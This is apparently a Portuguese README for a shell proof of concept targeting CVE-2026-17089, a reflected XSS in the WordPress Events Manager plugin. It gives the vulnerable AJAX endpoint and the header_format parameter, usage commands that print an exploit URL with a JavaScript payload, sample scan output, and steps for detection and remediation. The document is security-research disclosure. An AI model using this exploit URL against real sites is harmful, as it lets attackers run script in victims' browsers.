PoC em Shell para CVE-2026-17089, um XSS refletido não autenticado no plugin WordPress Events Manager (<= 7.4.0.1); identifica o plugin e testa a reflexão de header_format.
<= 7.4.0.1 — XSS refletido não autenticado (header_format)Autor: pwnVader · Licença: MIT (raiz do repositório)
| Componente | Events Manager – Calendar, Bookings, Tickets, and more! (plugin WordPress) |
| Tipo | CWE-79 — Cross-Site Scripting Refletido |
| Afetado | <= 7.4.0.1 |
| Corrigido | versão posterior 7.4.x (wp_kses_post() aplicado em EM_Events::output_grouped()) |
| CVE | CVE-2026-17089 — CVSS 3.1 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
O ponto de entrada do shortcode sanitiza header_format com wp_kses(), mas a ação AJAX
não autenticada search_events_grouped contorna essa sanitização e ecoa o valor na
resposta HTML (EM_Events::output_grouped()). Um atacante remoto e não autenticado pode criar uma URL
que executa JavaScript arbitrário na origem do site afetado para qualquer usuário que a abra
(UI:R).
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and test the unescaped reflection
./poc.sh check --target https://example.com
# Print the exploit URL (open it in a browser; the script runs in the target origin)
./poc.sh url --target https://example.com --payload "alert(document.domain)"
check)== CVE-2026-17089 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Events Manager assets are served (plugin installed)
[info] Stable tag: 7.1.7
[PASS] version 7.1.7 is in the affected range (<= 7.4.0.1)
[2] Unauthenticated reflection test (read-only, benign marker)
[PASS] endpoint reflected header_format UNESCAPED (the raw is in the response)
== RESULT: 3 PASS / 0 FAIL ==
VULNERABLE to CVE-2026-17089 (unauthenticated reflected XSS).
https://example.com/wp-admin/admin-ajax.php?action=search_events_grouped&scope=all&limit=5&header_format=<urlencoded payload>
readme.txt (Stable tag) e/ou o caminho do asset do plugin
/wp-content/plugins/events-manager/includes/js/events-manager.js.admin-ajax.php?action=search_events_grouped com header_format definido como o marcador e verifique
se a marcação bruta é refletida sem escape no corpo da resposta.wp_kses_post() a
header_format dentro da função de renderização, cobrindo todos os chamadores).search_events_grouped ou filtre
header_format no nível de WAF/aplicação.Apenas para testes de segurança autorizados. O PoC é somente leitura (check) ou imprime uma URL (url); nenhum
dado é modificado.